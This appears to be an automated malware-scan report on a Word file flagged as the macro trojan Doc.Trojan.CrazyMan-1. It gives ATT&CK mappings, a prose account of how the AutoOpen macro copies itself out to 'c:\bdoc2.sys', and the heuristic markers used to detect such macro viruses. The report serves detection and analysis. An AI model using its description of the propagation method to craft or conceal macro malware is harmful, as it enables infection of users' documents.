MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, including AutoOpen and AutoClose functions, which are indicative of malicious intent. The AutoOpen macro attempts to export the 'bdoc2' VBA component to 'c:\bdoc2.sys' and then saves the document, likely to facilitate the execution of a second-stage payload. The presence of legacy WordBasic macro virus markers and ClamAV detections further support its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.CrazyMan-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CrazyMan-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
